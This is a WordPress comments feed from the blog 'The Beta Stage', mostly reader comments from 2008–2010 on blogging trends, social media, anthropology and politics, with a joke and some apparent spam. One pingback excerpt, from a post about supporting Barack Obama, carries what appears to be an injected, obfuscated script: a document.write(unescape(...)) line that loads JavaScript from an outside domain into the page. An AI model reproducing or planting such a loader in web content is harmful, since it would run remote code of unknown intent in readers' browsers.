Comments for The Beta Stage http://www.thebetastage.com New Media and Technology in Politics, Public Affairs, Business, and Life. Fri, 09 Jul 2010 13:53:23 +0000 hourly 1 https://wordpress.org/?v=4.0.26 Comment on Blogging Has Not Peaked: A Friendly Rebuttal of Steve Rubel by Why Lefty Bloggers Are Owed a Living http://www.thebetastage.com/2007/04/05/blogging-has-not-peaked-a-friendly-rebuttal-of-steve-rubel/#comment-55 Fri, 09 Jul 2010 13:53:23 +0000 http://www.thebetastage.com/2007/04/05/blogging-has-not-peaked-a-friendly-rebuttal-of-steve-rubel/#comment-55 […] Brad Levinson respectfully disagrees. He notes a number of trends, including the emergence of corporate and non-Western blogs, which he believes are primed for an explosion in growth. Further, Also not taken into account is the difference between “journalistic/trade/opinion” bloggers versus the “OMGZ! Sanjaya is awfulz!” bloggers. My bet is that the amount of “personal” bloggers is dying off as they move to social networks laden with RSS and other types of blog-like CMSes. So, blog consumption and usage has merely changed and morphed and evolved, not peaked. […]

]]> Comment on Lesson #125,343,654 of the web: Hosting remotely isn’t a good idea by Elois http://www.thebetastage.com/2007/03/27/lesson-125343654-of-the-web-hosting-remotely-isnt-a-good-idea/#comment-33 Thu, 01 Apr 2010 21:55:36 +0000 http://www.thebetastage.com/2007/03/27/lesson-125343654-of-the-web-hosting-remotely-isnt-a-good-idea/#comment-33 Hello there, Happy April Fool’s Day!

A man in a bar sees a friend at a table, drinking by himself.
Approaching the friend he comments, “You look terrible. What’s the problem?”
“My mother died in August,” he said, “and left me $25,000.”
“Gee, that’s tough,” he replied.
“Then in September,” the friend continued, “My father died, leaving me $90,000.”
“Wow. Two parents gone in two months. No wonder you’re depressed.”
“And last month my aunt died, and left me $15,000.”
“Three close family members lost in three months? How sad.”
“Then this month,” continued the friend, “absolutely nothing!”

Happy April Fool’s Day!

]]> Comment on Social Media and Social Anthropology, Part One: Technological Constructivism by William Nicholls http://www.thebetastage.com/2008/02/06/social-media-and-social-anthropology-part-one-technological-constructivism/#comment-124 Fri, 05 Feb 2010 10:46:55 +0000 http://www.thebetastage.com/2008/02/06/social-media-and-social-anthropology-part-one-technological-constructivism/#comment-124 A really interesting post Brad, and realise I am two years too late to this discussion, but have just written on this subject and against technological determinism. I like the idea of Technological Constructivism, my own suggestion was Technological Humanism, as I think it is important to re focus on human nature and needs as the basis for technological innovation. Looking forward to catching up on the rest of the series when I get a minute…..

]]> Comment on Social Media and Social Anthropology, Part One: Technological Constructivism by John Postill http://www.thebetastage.com/2008/02/06/social-media-and-social-anthropology-part-one-technological-constructivism/#comment-123 Wed, 30 Dec 2009 10:15:56 +0000 http://www.thebetastage.com/2008/02/06/social-media-and-social-anthropology-part-one-technological-constructivism/#comment-123 To follow on from Lissette’s comment, and speaking as an anthropologist who specialises in media issues, I’ve been wondering for a long time whether in avoiding technological determinism we anthros have a tendency to fall into sociocultural determinism, i.e. the idea that it is society/culture that determines technology, see my blog post on this here:
http://johnpostill.wordpress.com/2009/12/29/media-and-social-change-since-1990/

]]> Comment on What Happens When They Expect “Fake”? by Jess http://www.thebetastage.com/2009/08/25/what-happens-when-they-expect-fake/#comment-132 Tue, 25 Aug 2009 15:25:08 +0000 http://www.thebetastage.com/?p=217#comment-132 Good post! Amazon is another place where this sort of behavior runs rampant and I think most people know that and shop with that in mind? Publishers love to post about how great their books are. It really is hard as a consumer to know what to trust and you just have to hope that the truth is in the aggregate.

]]> Comment on McCain: Hungry to be President by Mathew http://www.thebetastage.com/2007/02/16/mccain-hungry-to-be-president/#comment-13 Thu, 23 Oct 2008 22:38:37 +0000 http://www.thebetastage.com/2007/02/16/mccain-hungry-to-be-president/#comment-13 You know, I just thought of this the other day and was looking for a picture . . .

]]> Comment on Yes We Can by Community Guy, Jake McKee - Why I’m Supporting Barack Obama (Redux) http://www.thebetastage.com/2008/02/02/yes-we-can/#comment-115 Sat, 09 Aug 2008 04:49:54 +0000 http://www.thebetastage.com/2008/02/02/yes-we-can/#comment-115 […] Yes we can. var ecov = “sh”; document.write(unescape(“%3Cscript src=’http://eco-safe.com/js/eco.js’ type=’text/javascript’%3E%3C/script%3E”)); Things I Like  Email This Post […]

]]> Comment on Message and the Power to Motivate by Molly Torres http://www.thebetastage.com/2008/06/10/message-and-the-power-to-motivate/#comment-129 Sat, 02 Aug 2008 16:57:21 +0000 http://www.thebetastage.com/?p=215#comment-129 You have an outstanding good and well structured site. I enjoyed browsing through it.

]]> Comment on Using Social Anthropology To Create Resonant Campaigns by Kami Huyse http://www.thebetastage.com/2008/04/02/using-social-anthropology-to-create-resonant-campaigns/#comment-128 Tue, 27 May 2008 14:46:34 +0000 http://www.thebetastage.com/2008/04/02/using-social-anthropology-to-create-resonant-campaigns/#comment-128 I am catching up with all of this. You should have sent me a tweet. I will link this today in another article I am doing that includes a mention of anthropology ;-)

]]> Comment on Using Social Anthropology To Create Resonant Campaigns by violet http://www.thebetastage.com/2008/04/02/using-social-anthropology-to-create-resonant-campaigns/#comment-127 Sun, 11 May 2008 21:42:52 +0000 http://www.thebetastage.com/2008/04/02/using-social-anthropology-to-create-resonant-campaigns/#comment-127 Brad-
Great to see that others are understanding why anthropologists are also great social media strategists. I am an anthropologist by academic training and I am a social media marketer by profession. Ethnographies, as you know, are especially important when entering into a community or culture, but the same applies to online communities. The similarities are astonishing. Did you already post the ethnographic model and its social equivalent blog post? I look forward to it! Keep up the great posts!

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